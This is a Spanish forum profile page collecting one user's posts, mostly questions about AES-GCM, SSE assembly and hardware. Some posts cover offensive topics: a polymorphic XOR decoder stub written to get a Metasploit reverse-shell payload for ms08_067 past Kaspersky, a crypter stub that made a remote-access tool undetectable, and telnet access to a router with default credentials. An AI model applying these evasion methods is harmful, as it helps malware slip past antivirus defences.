Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - cpu2

#1
Foro Libre / Vuestra opinion acerca de este trabajo.
3 Septiembre 2020, 00:40 AM
Hola

He estado una temporada trabajando para una empresa que mantenia unas sedes de una aseguradora, haciendo el mantenimiento de equipos etc...

El otro dia nos enviaron a X sede para, para maquetar los PC, ya que como no era de extrañar estaban infectados por un ransomware y tenian los archivos cifrados.

El primer problema que veo, es que tenian una copia de seguridad del 18 de agosto y ellos fueron infectados a finales de agosto, eso significa que entre el 18 y el 31, han perdido todo esos datos por no tener respaldo.

Es lo que me dice la oficinista, yo en plan "que quieres que te diga", la seguridad brilla por su ausencia, almacenan los archivos en los mismos pc con los que trabajan, abren cualquier mail desde esos pc, y se extrañan de que pasen esas cosas??? Estaban navegando con el IE9 si señores con el IE9.

Aparte que las maquetas eran una *****, pero eso es otra historia.

Pero no es mejor tener un server dedicado para los mail? Hacer copias de seguridad de los archivos cada dia o hora, a un equipo externo dedicado a ello? Directamente se podrian usar Jails de FreeBSD para arreglar esos problemas, o con una politica de permisos adecuada. Por que coño no hacen eso?

Es eso normal en las empresas? Estoy flipando con todo lo que he visto, y creo que me quedo corto con todo lo que he dicho. Hoy he dejado el trabajo, estaba cansado aun que no sea el momento adecuado para esas cosas.

Si eso es una empresa seria, no se como seran las otras. Pensais que lo mismo que yo, o creeis que esta todo bien?

Saludos.

P.D: El unico sistema de seguridad, era MCafee, que se evade con unas cuantas lineas de codigo, tener solo eso no es seguridad.
#2
Criptografía / GCM tablas M
11 Mayo 2020, 03:23 AM
Hola

La duda que tengo esta en este paper, punto 4.1 Software:

https://luca-giuzzi.unibs.it/corsi/Support/papers-cryptography/gcm-spec.pdf

Segun lo que puedo entender la variable P es una representacion de un elemento primitivo en gf(2), el modulo f es la variable R.

La x es un byte, tiene unas 256 conbinaciones, las tablas M son de 256 elementos.

Mas o menos todo esto lo llevo bien, si vamos a la pag 9, en (3) se puede observar la variable P que es el polinomio α.

En la pag 14 tenemos el algoritmo numero 3, con este podriamos computar las tablas M, los 65,535 bytes/key si no me equivoco. Doy por sentado de que con el algortimo 3, ya podria crear todas las tablas, cifrando la cadena de de 128 bits de 0s con el codigo.

Pero no acabo de entender del todo la variable P del algritmo 3.

Perdon si no se me entiende bien, estoy algo liado.

Saludos.
#3
Criptografía / Multiplicacion por bloques GCM
29 Abril 2020, 21:56 PM
Hola, estado tiempo fuera haciendo otras cosas, y quiero retomar un viejo proyecto, y tengo unas dudas que pueden resultar hasta basicas, pero es lo que tiene abandonar las cosas y luego querer retomarlas. Voy al grano.

Tengo una duda con la funcion de multiplicacion de GCM, mas bien con su sintaxis, aqui pongo una captura del pdf gcm.



Es una funcion simple, la variable Z pasa a ser un bloque de 128 bits de ceros, la variable X obtiene el valo de la variable V

A partir de hay empieza un for de 128 ciclos, depende del valor de los bit de V, en caso de ser 1, se hace un XOR entre las variables Z y V y el valor es reescrito a la variable Z. El ciclo sigue se comprueba el ultimo bit de la variable V, en caso de ser 0 se elimina un bit a la derecha y el valor es reescrito a la variable V, en caso de ser 1 se elimina un bit a la derecha y se hace un XOR al bloque V con la variable R, escrita mas arriba de la funcion lo siento no se puede observar en la captura, (( Se supone que el shift tiene preferencia sobre el XOR y se ejecuta antes, supongo.)) al finalizar se reescribe la variable V, se completaria el ciclo for y tendriamos el resultado final en la variable Z.

Parece que lo entiendo todo bien, esta funcion la he sacado de este paper:

https://luca-giuzzi.unibs.it/corsi/Support/papers-cryptography/gcm-spec.pdf

Bien el problema lo tengo cuando leo la misma funcion pero en el paper del NIST, aqui la captura:



Bien aqui el problema que le veo es la sintaxis, no entiendo por que en las variables Z, V, tienen la variable i que esta hace de contador para los bits, se hace las operaciones a nivel de bits? En el paper de gcm se hacen a nivel de bloque, no se si me explico. A lo mejor es igual, solo que me esta liando la sintaxis., por otra parte sobre la duda del shift y el xor a la variable R, queda resuelta ya que se puede observar que tiene preferencia el shift.

Bueno esa es mi duda, la maldita variable i, simplemente sintaxis? Aqui documento:

https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf

Un saludo.

P.D: Las capturas me han quedado algo grandes y no he ajustado el tamaño, lo siento.
#4
Electrónica / Conector VGA
18 Noviembre 2019, 22:55 PM
Hola, tengo una duda que es la siguiente, tengo un cable defectuoso vga que en mi terminal me muestra el color blanco de un azul claro.

Estado mirando esquemas de pines y demas del conector vga, mi pregunta es si modificando los cables o los pines se podria llegar a manipular los colores.

Un saludo.

PD: De no ser posible alguien sabe algun metodo para hacer tal cosa?
#5
Hardware / Micro SD irreconocible
18 Diciembre 2018, 21:12 PM
Hola

Hace poco adquiri un USB de estos chinos que venden por aplicaciones  de compra de productos chinos, por una parte es tipo C y por la otro el USB de toda la vida.

Bien resulta que un familiar mio enchufo el usb al movil y lo desconecto al acto "saco y metio" Y ahora la memoria es irreconocible, resulta que lo desmonte para saber si habia algo "frito" y resulta que no era una memoria convencional de las USB si no una micro SD me dijo que tenia 512GB.

Extraigo la SD y la coloco en un lector, pero ninguna señal.

Linux la identifica como sdc pero no es capaz de hacer nada mas, fdisk esta en blanco, windows ni dice nada.

A mi estos productos chinos no me dan mucha confianza, alguna solucion para una SD que no da señales de vida?

Un saludo.
#6
Desarrollo Web / [Resuelto] Error 500 wget
21 Abril 2018, 03:58 AM
Hola

Estoy intentando descargar un sitio web, para luego mirarlo offline lo tipico, mensaje de error:

CitarTTP request sent, awaiting response... 500 Internal Server Error
2018-04-21 02:52:30 ERROR 500: Internal Server Error.

Vamos que tiene que tener alguna restriccion en el firewall o mod para evitar descargas? desde el navegador sin problemas, pero claro no es lo misma peticion. Alguna solucion a este problema es que me gustaria automatizar la descarga tiene muchos documentos.

Un saludo.

P.D: Se que esto no tiene nada de desarrollo web, lo siento si no es el sitio de este post.
#7
Desarrollo Web / Web informativa y ventas
15 Enero 2018, 00:50 AM
Hola

Tengo a un conocido que quiere crear una web para su negocio, tiene que tener los puntos de contacto con el negocio, y una parte donde pueda vender sus productos, hay es donde tiene problemas.

Yo solo podria ayudarle en el tema servidor y demas ya que no tengo conocimientos de programacion web, estado mirando plataformas de tiendas online y demas, no tiene mucho stock, que me recomendarian?

Un saludo.
#8
Foro Libre / Regalo libro C/C++ y Java
21 Abril 2017, 16:48 PM
El libro es de Deitel Como programar en C/C++ y Java, hace tiempo que esta acumulando polvo a mi ya no me sirve de nada, y la verdad no consigo venderlo estos libros no interesan, pues lo dicho si alguien lo quiere que me lo diga. Lo mas problabe es que me mude de vivienda y no me gustaria nada tener que tirarlo.

Un saludo.
#9
Android / Configurar boot en Acer iconia one
15 Septiembre 2016, 19:47 PM
Hola

Pues tengo la seguiente duda, un conocido tiene este modelo ACER iconia one 10 B3-A20, bien esta trae por default como sistema android 5.1.

Vale, pues a mi conocido se le ocurrio, bueno mejor se le antojo colocarse un windows, creo que con una version RT de windows funcionaria ya que soporta ARM, por que vi en las specs tiene un Cortex 7 de CPU.

Pero el problema que tengo es que no soy entendido de Android y no se como escojer el boot al arrancar, para colocarle la USB, con el RT.

Al arrancar la tablet sale el logotipo de acer, pero nada F2 ni F8 funcionan xD, es posible arrancar o entrar al CMOS?

Un saludo.
#10
Foro Libre / Alguien viajo de esta forma?
30 Julio 2016, 15:01 PM
Como ya llegaron las vacaciones, estuve buscando formas economicas para ir a destinos y me encontre con una web llamada Worldpackers.

https://www.worldpackers.com/

Por lo que entendi ofrecen alojamiento, dietas y lavanderia a cambio de trabajar algunos dias a la semana.

Alguien viajo con ofertas de esta web? Que les parece?

La verdad me parece muy bonito y facil, no se si lo sera.

Un saludo.
#11
Estado leyendo sobre algunos de los algoritmos que son soportados pòr sistemas VPN y demas.

Los cifrados que son permitidos son algunos de estos:

Citarhmac-md5
hmac-SHA1
hmac-SHA2

etc...

Pero no entiendo que se usen cifrados para el mensaje como:

Citaraes-gcm
aes-gmac

sobre todo el gmac, lo estado leyendo y lo que hace es hacer un MAC para la integridad del mensaje, no se puede usar el gmac para la autentificacion?

No entiendo bien el concepto de la autentificacion, no seria valiado el gmac? Ya que este te crea un bloque del mensaje completo.

Un saludo.
#12
Redes / Módem ADSL/2+
28 Diciembre 2015, 20:27 PM
Ya se que puede ser anticuado lo que estoy preguntando a estas alturas, con la fibra optica presente etc...

Algun consejo para comprarme un modem de calidad? E visto los Tp-link, pero e leido cosas de backdoors y paso de marcas convencionales si puede ser, algo estilo pci, sin interfaces web si aun existen xD.

Para sistemas BSD, si no no puede ser. Las cosas que encontre de calidad son para equipos Juniper etc...

No existen cosas asi por separado?

Un saludo.

#13
Redes / Redes descentralizadas
26 Marzo 2015, 01:34 AM
Hola

Bien escribo esto porque tengo algunas dudas sobre estas redes, las "peer to peer" o mas conocidas por el nombre P2P. Bueno por lo que entendi las descentralizadas tiene las dos funciones cliente y servidor, que ellas comparten informacion entre si, sin un servidor que les mande.

Pero mi duda es que hace falta un servidor para enviar algo, lo que quiero decir es que no creo que un cliente que descarga un archivo sepa las direcciones que estan compartion dicho archivo por arte de magia, no se si me explico. Aun que sea descentralizado siempre hace falta un server principal no?

Lo digo porque estado mirando algo TOR y demas, y afirma ser una red descentralizada y desestructurada, y cuando miro las conexiones que realiza TOR con Wireshark siempre conecto a un servidor Hungaro en Budapest, cuando se realiza la conexion del buscador de TOR.

Seguramente no haya entendido el concepto bien, asi que agradeceria que me lo explicaran.

Un saludo.
#14
Foro Libre / Compras online al extranjero
20 Diciembre 2014, 22:13 PM
Pues resulta que tengo que comprar unos libros fuera de España, ya que aqui no estan. La tienda seria lulu.com, alguien a comprado hay?

Mas bien era eso, y si alguien tuvo problemas con aduanas y demas, es seguro? Y la lei esta nueva del iva y demas me estado informando, que tienes que pagar el 21% de iva por lo que vale el producto y demas, pero depende del producto pues era mas barato y demas, bueno pero esto sobra, mas bien  es lo primero.

Un saludo.
#15
Hardware / Placa base VAIO VGN-AR78E
2 Diciembre 2014, 13:17 PM
Hola

Resulta que un conocido me trajo este modelo con un fallo, es el tipico fallo de las rayas en la pantalla, cosa que viene del chip grafico, estado informandome por la red y resulta que salieron un monton de VAIO con el mismo fallo.

Pues eso que tiene las rayas en el inicio, e incuso simbolos de esclamacion ( ! ! ), y cuando esta con Windows y corriendo el controlador grafico, al cargar el Windows me sale un pantallazo azul haciendo referencia a los offset y controlador de nvidia.

Cuando este no esta corriendo "safe mode", funciona bien. Linux algunas livecd si funcionan.

Bueno mas bien venia a preguntar si alguien conoce mas detalles de ese fallo, y tambien para preguntar donde puedo comprar la placa base de ese modelo, si alguien conoce algun sitio de confianza, online o mucho mejor si es por Barcelona.

Ya que me saldra mas barato comprar una placa base nueva, que pagar a un tecnico pra que repare el chip, bueno eso si encunetro una para ese modelo ya que es viejo.

Un saludo.
#16
Criptografía / Nuevas funciones para cifrados
5 Noviembre 2014, 00:46 AM
Hola

Pues lo dicho, tengo una implementacion del algoritmo Rijndael "puro", nada de CBC ni cosas por el estilo, y simplemente me gustaria crear una funcon nueva para no dejarlo de serie, ya se que no le hace falta una funcion nueva, pero esque CBC es demasiado pesado para donde tiene que ir la rutina de Rijndael.

Y por eso se me ocurrio crear una nueva funcion, se trataria de una especie de hash, que permutaria y haria unos XOR, la pregunta es la siguiente, puedo "fastidiar" la seguridad del algoritmo si aplico rutinas como la que tengo pensada?

Un saludo.
#17
ASM / Adquirir manuales de Intel
4 Noviembre 2014, 01:18 AM
Hola

Pues eso, donde puede adquirir impresos (logico), los manules de Intel desde el volumen 1 al 3C? Pregunto esto porque solo encontre el manual 1 de arquitectura basica por Amazon y una web llamada Lulu. La verdad me gustaria tenerlos impresos ya que leer por  el ordenador se hace pesado.

Y no me gustaria tener que ir a una imprenta ya que me saldria mas caro y todo, es muy raro que no tengan todos los manuales.

Un saludo.
#18
Foro Libre / Duda estudiantil
23 Septiembre 2014, 14:46 PM
Bueno como lei algunos post sobre gente con dudas similares a la mia, me anime a escribir esto para que me aconsejaran algo.

Acaba de empezar el curso (España), y yo me decante por FP Grado Medio de sistemas microinformaticos y redes, de la semana que llevamos solo fui unos dos dias, ya que me lleve una decepcion enorme, no es lo que yo me esperaba la verdad.

Nos estaban explicando como pasar de bit a byte, byte a kb etc... Tambien a pasar de binario a decimal y todas esas cosas, bueno no se para que diablos nos explican eso, la verdad, al menos que no seas programador, como en mi caso que cuando tengo que hacer una Mascara o una Lookup table para trabajar con los operadores AND , XOR etc...

Tambien nos estaban explicando algo de Hardware, CPU, Bios, como configurarla, eso si que me hizo gracias, ya que lo que el profesor se referia no es la bios si no el CMOS...

Estuve mirando Bachillerato, mas o menos las mates las llevare bien, pero me preocupan las letras y todo eso, como son las clases, en general?

No quiero ir de enterado, pido disculpas si ofendi alguna persona que este cursando el mismo FP que yo, pero es mi opinion me esperaba otra cosa.

Tambien tengo un amigo que tiene un conocido, de que acabo el mismo FP, y ahora esta cobrando unos 500-600 euros, no es que me llame el dinero, pero eso es una porqueria de sueldo, bueno estan todos asi, el saliro minimo interprofesional.

Si tengo que ser sincero no se que hacer, la gente que se apunta a bachillerato es porque quiere un acceso rapido a la Universidad, lo digo por eso porque yo no se si quiero acceder, todo lo que programo es puro hobby.

Pero con esos dos dias en FP, ya me di cuenta de que no me quiero dedicar a eso ni mucho menos, el bachiller me dara alguna salida digo yo, no? Si que la cosa esta mal y todo eso, pero es para saber algo, ya que en muchos empleos me solicitan ese titulo.

Un saludo.
#19
ASM / Direccion fisica del kernel
15 Agosto 2014, 20:38 PM
Hola

Llevo unos dias intentando saber en que offset carga la secuencial boot el kernel, plataforma OpenBSD.

No se cuantos codes llevo leidos y aun no encuentro nada claro sobre el tema, mi intencion es una vez que el boot carge el kernel en la memoria inyectar algo de code, simplemente son pruebas mias.

Bien ya hice pruebas con otras partes y direccion, no inyecto nada simplemente leo.

MBR  ---> 07c0:0000
Boot  ---> 4000:0000
Kernel ---> ???

Esa es basicamente mi  pregunta, espero que se entienda bien y no haya sido muy directo.

Un saludo.
#20
Bien, escribo este hilo porque tengo un proyecto junto al usuario @Vaagish. El tenia una RS y yo le ayude ha mejorarla y todo eso.

Pero sucedia lo de siempre que la RS era detectada con cualquier cosa, asi que le ayude en el algoritmo de cifrado y el stud, tambien en potenciar la funcion de busqueda de offset de las funciones. El colaboro en el code en si y en alinearlo todo es su sitio.

Al principio el usuario @Vaagish contruyo su propio stud y cifrado el mismo un XOR, pero este tenia muchas detecciones como unas 5, asi que construi uno con un XOR y una rutina que no pienso decir, y para mi sorpresa la RS quedo FUD, bueno quedaron al principio 2 detecciones pero era problema de alguna cosa del linker el lo arreglo y quedo FUD.

La pregunta es que podemos hacer legalmente con todas estas cosas? El crypter y todo esto, le puede interesar alguna empresa o algo parecido, prestar nuestros servicios etc...

Igualmente la RS no es una cualquiera. Y ademas por parte mia y tambien suya, tengo muchas ideas para stud`s y cosas asi, y viendo que con el stud de 10 minutos que hice y quedo FUD, igualmente tengo muchas cosas mas complejas que se que funcionan y no las escrito todavia.

Espero vuestra colaboracion, ya vieron de que somos legales.

Un saludo.
#21
Hola

Bueno al principio no tenia ganas de compartir el code, ya que es para un proyecto personal, pero como algunos usuarios querian verlo, y este sub-foro esta casi muerto aqui les traigo esta implmentacion, a ver si alguien la sabe apreciar.

El code esta copiado directamente de mi editor, funciona bien, pero no es ensamblar y funcionar tienes que modificar algunas cosas.

Seria una ronda de cifrado, si quieres las 8 serian hacer loops, y las 2 ultimas que son con SubBytes, Shifrows y AddRounkey pues modificar algo.

Tambien algunas funciones como AddRounkey y SubBytes no son bit slice, creo que asi ya estaban bien.

Bueno si alguien lo copia espero que se respete el primer autor, yo.

Código (asm) [Seleccionar]
[code=asm].section .data

sbx_: .quad 0xc56f6bf27b777c63,0x76abd7fe2b670130
     .quad 0xf04759fa7dc982ca,0xc072a49cafa2d4ad
     .quad 0xccf73f362693fdb7,0x1531d871f1e5a534
     .quad 0x9a059618c323c704,0x75b227ebe2801207
     .quad 0xa05a6e1b1a2c8309,0x842fe329b3d63b52
     .quad 0x5bb1fc20ed00d153,0xcf584c4a39becb6a
     .quad 0x85334d43fbaaefd0,0xa89f3c507f02f945
     .quad 0xf5389d928f40a351,0xd2f3ff1021dab6bc
     .quad 0x1744975fec130ccd,0x73195d643d7ea7c4
     .quad 0x88902a22dc4f8160,0xdb0b5ede14b8ee46
     .quad 0x5c2406490a3a32e0,0x79e4959162acd3c2
     .quad 0xa94ed58d6d37c8e7,0x08ae7a65eaf4566c
     .quad 0xc6b4a61c2e2578ba,0x8a8bbd4b1f74dde8
     .quad 0x0ef6034866b53e70,0x9e1dc186b9573561
     .quad 0x948ed9691198f8e1,0xdf2855cee9871e9b
     .quad 0x6842e6bf0d89a18c,0x16bb54b00f2d9941
sq0_: .quad 0x000000ff000000ff,0x000000ff000000ff
sq1_: .quad 0x0000ff000000ff00,0x0000ff000000ff00
sq2_: .quad 0x00ff000000ff0000,0x00ff000000ff0000
sq3_: .quad 0xff000000ff000000,0xff000000ff000000
bts_: .quad 0x8080808080808080,0x8080808080808080
dlb_: .quad 0x7f7f7f7f7f7f7f7f,0x7f7f7f7f7f7f7f7f
xrb_: .quad 0x1b1b1b1b1b1b1b1b,0x1b1b1b1b1b1b1b1b
rcn_: .quad 0x0000000200000001,0x0000000800000004
     .quad 0x0000002000000010,0x0000008000000040
     .quad 0x000000360000001b

.section .text
.globl _start

_start:

pushq %r11
pushq %r12
pushq %r13
pushq %r14
pushq %r15
pushq %r8
pushq %r9
pushq %rax


###movq $key_, %r11
###movq $inp_, %r10

movq $rcn_, %r12

prefetch sbx_
prefetch sq0_

movq $-160, %r13
movdqu (%r11), %xmm0
movdqu %xmm0, -16(%rsp, %r13, 1)
movl 12(%r11), %r11d
movnti %r11d, (%rsp, %r13, 1)

_KeyExpansion:

rorl $8, (%rsp, %r13, 1)

movzx (%rsp, %r13, 1), %r14
movzx 1(%rsp, %r13, 1), %r15
movzx 2(%rsp, %r13, 1), %r8
movzx 3(%rsp, %r13, 1), %r9
movzx sbx_(, %r14, 1), %r14
movzx sbx_(, %r15, 1), %r15
movzx sbx_(, %r8, 1), %r8
movzx sbx_(, %r9, 1), %r9
movnti %r14d, (%rsp, %r13, 1)
movnti %r15d, 1(%rsp, %r13, 1)
movnti %r8d, 2(%rsp, %r13, 1)
movnti %r9d, 3(%rsp, %r13, 1)

movl (%rsp, %r13, 1), %eax
xorl (%r12), %eax
addq $4, %r12

xorl -16(%rsp, %r13, 1), %eax
movnti %eax, (%rsp, %r13, 1)
xorl -12(%rsp, %r13, 1), %eax
movnti %eax, 4(%rsp, %r13, 1)
xorl -8(%rsp, %r13, 1), %eax
movnti %eax, 8(%rsp, %r13, 1)
xorl -4(%rsp, %r13, 1), %eax
movnti %eax, 12(%rsp, %r13, 1)

movnti %eax, 16(%rsp, %r13, 1)
addq $16, %r13
jnz _KeyExpansion

_Cipher:

movdqu (%r10), %xmm0
pxor  -176(%rsp), %xmm0
movdqu %xmm0, -208(%rsp)
movq $-16, %r13

_SubBytes:

movzx -192(%rsp, %r13, 1), %r14
movzx -191(%rsp, %r13, 1), %r15
movzx -190(%rsp, %r13, 1), %r8
movzx -189(%rsp, %r13, 1), %r9
movzx sbx_(, %r14, 1), %r14
movzx sbx_(, %r15, 1), %r15
movzx sbx_(, %r8, 1), %r8
movzx sbx_(, %r9, 1), %r9
movnti %r14d, -224(%rsp, %r13, 1)
movnti %r15d, -223(%rsp, %r13, 1)
movnti %r8d, -222(%rsp, %r13, 1)
movnti %r9d, -221(%rsp, %r13, 1)
addq $4, %r13
jnz _SubBytes

_Shiftows:

movdqu -240(%rsp), %xmm0
pshufd $0x39, %xmm0, %xmm1
pshufd $0x4e, %xmm0, %xmm2
pshufd $0x93, %xmm0, %xmm3
pand sq1_, %xmm1
pand sq2_, %xmm2
pand sq3_, %xmm3
pand sq0_, %xmm0
pxor %xmm1, %xmm0
pxor %xmm2, %xmm0
pxor %xmm3, %xmm0

_Mixcolumns:

movdqa %xmm0, %xmm1
movdqa %xmm1, %xmm2
movdqa %xmm2, %xmm3
movdqa %xmm3, %xmm4

pand bts_, %xmm0
pcmpeqb bts_, %xmm0
movdqa %xmm0, %xmm5
pand %xmm0, %xmm1
pandn %xmm2, %xmm0
pand dlb_, %xmm1
pslld $1, %xmm0
pslld $1, %xmm1
pxor xrb_, %xmm1
pand %xmm5, %xmm1
pxor %xmm1, %xmm0
pxor %xmm0, %xmm2
movdqa %xmm2, %xmm6
psrld $8, %xmm2
pxor %xmm2, %xmm0
pslld $8, %xmm3
pxor %xmm3, %xmm0
pslld $8, %xmm3
pxor %xmm3, %xmm0
psrld $16, %xmm4
pxor %xmm4, %xmm0
psrld $8, %xmm4
pxor %xmm4, %xmm0
pslld $24, %xmm6
pxor %xmm6, %xmm0

_AddRoundkey:

pxor -160(%rsp), %xmm0
[/code]

Cualquier pregunta ya saben.

Un saludo.

P.D: La instruccion prefetch no se si esta bien puesta, la intencion es copiar las tablas "lookup table" en la cache L1 para asi minimizar las frecuencias, ya que SubBytes utiliza mucho las tablas.

P.D.2: Si alguien entendido en el tema lee esto, me gustaria ver su critica.

Edito:


Corregido el error de Subbytes y el de Shiftrows.
#22
ASM / Bus error extensiones SSE2
22 Abril 2014, 19:09 PM
Hola

Siento el titulo no sabia que poner.

Bueno el problema reside en que cuando quiero hacer algo directamente desde la memoria a un registro xmm me lanza un Bus error (core dumped).

Código (asm) [Seleccionar]
pxor mem_, %xmm0

Eso me tiraria el error, pero si lo escribo de esta forma no.

Código (asm) [Seleccionar]
movdqu mem_, %xmm1
pxor %xmm1, %xmm0


Casi todas las instrucciones de SSEx me lanzan un core dumped si las ejecuto directamente como en el primer ejemplo, menos movdqu, sera porque es un unaligned?

A que puede deberse eso?

Espero que se entienda.

Un saludo.
#23
ASM / [Aporte] Strlen XMM
22 Marzo 2014, 21:21 PM
Bueno aqui les dejo una implementacion de una strlen en XMM, en teoria tendria que ser muchisimo mas rapida que la strlen normal, pero no esta testeada.

Código (asm) [Seleccionar]
i.section .text
.globl _start

_start:

pushq %r8
pushq %r9
pushq %r12
movq %r8, %r9

pxor %xmm1, %xmm1

_x0:

movdqu (%r8), %xmm0
pcmpeqb %xmm0, %xmm1
pmovmskb %xmm1, %r12d
addq $16, %r8
andl $0xffffffff, %r12d
jz _x0

bsf %r12d, %r12d
subq $16, %r8
subq %r9, %r8
addl %r12d, %r8d

popq %r12
popq %r9
popq %r8


Si tienen una CPU de 32 bits solamente cambien los registros, el puntero a la cadena es %r8.

Un saludo.
#24
ASM / Movimiento de mascara
19 Marzo 2014, 19:02 PM
Hola

Tengo que mover los byte que tengan el bit 7 en 1, ya tengo una funcion aplicada con maskmovq que hace precisamente lo que quiero, pero lo malo de esa instruccion es que a la CPU le cuesta 32 OPS.

Código (asm) [Seleccionar]
; %mm0 = 0x8001018080010180

maskmovq %mm0, %mm0  ; (%rdi) = 0x8000008080000080


Hay otra instruccion llamada pmovmskb es 1 OPS, que copia el bit 7 en un registro de 32 bits haciendo un octeo con los registros que tienen ese bit en 1.

Código (asm) [Seleccionar]
; %mm0 = 0x8001018080010180

pmovmskb %mm0, %esi  ; %esi = 0x99


Bien alguien me da alguna idea de como construir una mascara, a partir de ese octeo para copiar los byte tal y como lo hace maskmovq?

Un saludo.
#25
Programación General / Interpretar una mask byte
11 Febrero 2014, 18:15 PM
Hola

Siento el titulo del post, no sabia muy bien que poner.

Bien tengo el siguiente problema, tengo un quadword y lo que tengo que hacer es comprobar el ultimo bit de cada byte y almacenarlo en un registro.

Código (asm) [Seleccionar]
0x8000000000000080

Esto dejaria un octeo 0x81, bien lo que tengo que hacer despues de comprobar el bit, es a los bytes del quadword que su primer bit dieron 1 es hacer un xor, sin afectar a los demas bytes claro.

Comprobar el bit se hacerlo, lo que no se es como interpretar luego el 0x81, porque depende del quadword el valor puede ser distinto, que pasos puedo seguir o que metodo?

Pero no me dijan comparando ya que tengo un monton de posibilidades, y tendria que hacer una tabla giigante para los xor.

Un saludo.
#26
ASM / Duda con la Cache
28 Enero 2014, 02:26 AM
Hola

Leyendo el set de instrucciones me fije en una instruccion llamada Prefetch, por lo que e leido esta carga datos en la cache, pudiendo escojer los distintos niveles. Leyendo un diagrama del volumen dos, estaba viendo que acceder a la cache L1 es mas rapido que a la memoria principal.

No entendi muy bien el funcionamiento, cargas el contenido pero como lo lees luego? O es para instrucciones?

Código (asm) [Seleccionar]
movzx (%rsp, %r8), %r14
movzx offset(, %r14), %r14


Tengo que repetir eso unas cuantas veces, accediendo siempre a la memoria, no podria usar la cache?

Espero que se me entienda y perdon por si dije alguna burrada.

Un saludo.

#27
ASM / Duda segmentos
23 Diciembre 2013, 06:54 AM
Bien, ayudando a otro usuario con otra duda aparecio el tema de los segmentos, ya sabia algo de ellos antes y leyendo los manuales mas aun, se que cada segmento tiene su funcion y algunos se concatenan con los registros.

Estaba haciendo pruebas en ring3, me fije de que todos los segmentos tienen el mismo valor menos el %cs, segun la formula que tiene la CPU para calcular los offset multiplica el valor del segmento por 16 y lo suma al offset, bien hice una prueba, %esp el stack esta concatenado con el segmento %ss, copie el contenido de %esp con el segmento %cs y el valor es el mismo que con %ss, a que se debe si %cs tiene otro valor que %ss?

Se que %esp va con %ss, pero la instruccion me la acepta y me creo otro opcode si la escribo con el %cs, bueno esa es la pregunta, se ignora y se calcula con %ss, porque apuntan al mismo offset.

Un saludo.
#28
ASM / Duda con MixColumns
9 Diciembre 2013, 03:34 AM
Hola

La tengo casi lista, pero tengo un problema. Como sabran la funcion MixColumns se trata de unas multiplicaciones en GF 2(8) y una reduccion modular por 0x11b, en algunos casos se multiplica por 2 y en otros por 3, el 1 no hace falta claro, bien resulta que en algunos bytes cuando los multiplicas por 2 o por 3 es igual el que sea, se pasan de 0xff, lo que los convierte en un word, a esos si hay que hacerles una reduccion modular.

Ejemplo:

0xbf << 1 = 0x17e xor 0x11b = 0x65

Pero por ejemplo 0x56 no hace falta.

0x56 << 1 = 0xac

Bien tengo el siguiente codigo, imaginaos que todo el registro esta lleno de 0xbf.

Código (asm) [Seleccionar]
.section .data

sb:
.quad 0x7f7f7f7f7f7f7f7f,0x7f7f7f7f7f7f7f7f
rm:
.quad 0x1b1b1b1b1b1b1b1b,0x1b1b1b1b1b1b1b1b

.section .text
.globl _start

_start:

pand sb, %xmm0
pslld $1, %xmm0
pxor rm, %xmm0


Bien el and, es para evitar que se convierta en word, ocuparia el otro dword y no puede ser, se quedaria en 0x7e, no en 0x17e, y luego se multiplica por 2 y luego el xor es la reduccion modular, todo bien.

Bueno esta es la duda, si tengo un 0x56 y 0xbf en el registro barregados 0x56 no requiere ninguna reduccion modular pero 0xbf si, el resultado seria erroneo, como podria solucionar este problema, alguien me echa un cable?

Un saludo.
#29
Hola

Bueno lo primero, si el tema no esta en su lugar correcto lo siento, creo que esta mejor aqui porque creo que es un problema de polimorfismo.

Bien estoy practicando los polimorfismo con las shellcodes, estoy haciendo las pruebas en un windows y con metasploit, windows tiene como sistema de seguridad "IDS" Kaspersky internet Security 14, y estoy explotando el tipico 08_067_netapi, bien tengo el siguiente encode.

Código (asm) [Seleccionar]
_start:

xorl %ebx, %ebx
movw $0x13a, %bx
jmp _C.0


_C.1:

popl %edx

_C.2:

xorb $0xff, (%edx, %ebx)
rolb (%edx)
decw %bx
jnz _C.2
jmp *%edx

_C.0:

call _C.1


Si, se puede mejorar sobre todo lo de bx, pero solo me preocupa la deteccion, entro en los sources de metasploit y modifico el payload windows/shell/reverse_tcp con el encode y los valores de Offsets.

Bien cuando tengo el AV desactivado todo bien, pero cuanto esta activado salta, esta es la deteccion.

PDM: Exploit.Win32.Generic

Apllication path: c:\windows\system32\svchost.exe


Hay por la red shellcodes anti-ids con polimorfismos mas simples, y la mia salta.

Pero cuando lanzo el ataque con metasploit marca lo siguientet, aplical su encode cosa que no le dije:

[*] Encoded stage with x86/shikata_ga_n
[*]Sending encoded stage (267 bytes) to 192.168.1.129


Que es problema de metasploit o de mi encode?

Un saludo.

P.D: No quiero hacer nada por hay, simplemente son pruebas, igualmente no me gusta mucho metasploit hace todo el trabajo.
#30
Seguridad / Fallo en router HG532c de Jazztel
21 Agosto 2013, 23:42 PM
Hola

Pues configurando ese router de Jazztel, cambie la pass de acceso al router que de fabrica es admin admin, todo esto a traves de http puerto 80 en el entorno grafico, vale me voy al apartado de mantenimiento y cambio la pass por otra que no sea admin, ya que si no tengo un problema muy grave de seguridad, sabiendo la direccion publica se puede ingresar a ese router exteriormente, pues al volver a ingresar a traves del puerto 80 la clave admin no es valida y la nueva si normal no, pero como tengo OpenBSD sin entorno grafico no puedo ingresar de esa forma asi que entro a traves de telnet el puerto 23 y este me hace ingresar a esta terminal.

-------------------------------
-----Welcome to ATP Cli------
-------------------------------


Me pide el login y la pass, que es admin y la nueva clave que cambie en el apartado de mantenimiento, pero la pass no es correcta, cosa que es rara, porque en otro router de Jazztel esto no sucede, asi que por casualidad ingrese por telnet admin admin y si funciono pude accder a la consola ATP, y posteriormente a busybox teniendo el control del router.

Llame a Jazztel para decirles porque sucede esto y no lo saben, vamos que su tecnico me dijo que eso era una cosa muy rebuscada, vamos que no me cuelga el telefono de milagro.

Lo bueno es que un amigo mio tiene el mismo modelo de router pero de la teleoperadora Orange, y tiene el mismo problema, sucede exactamento lo mismo.

Alguien puede ayudarme?

Un saludo.
#31
ASM / Rotar en registros XMM
16 Agosto 2013, 16:50 PM
Hola

Pues eso me gustaria rotar un byte en los cuatro doublewords que tiene un registro XMM. Hay una instruccion llamada vprotd pero no dispongo de la bandera XOP.

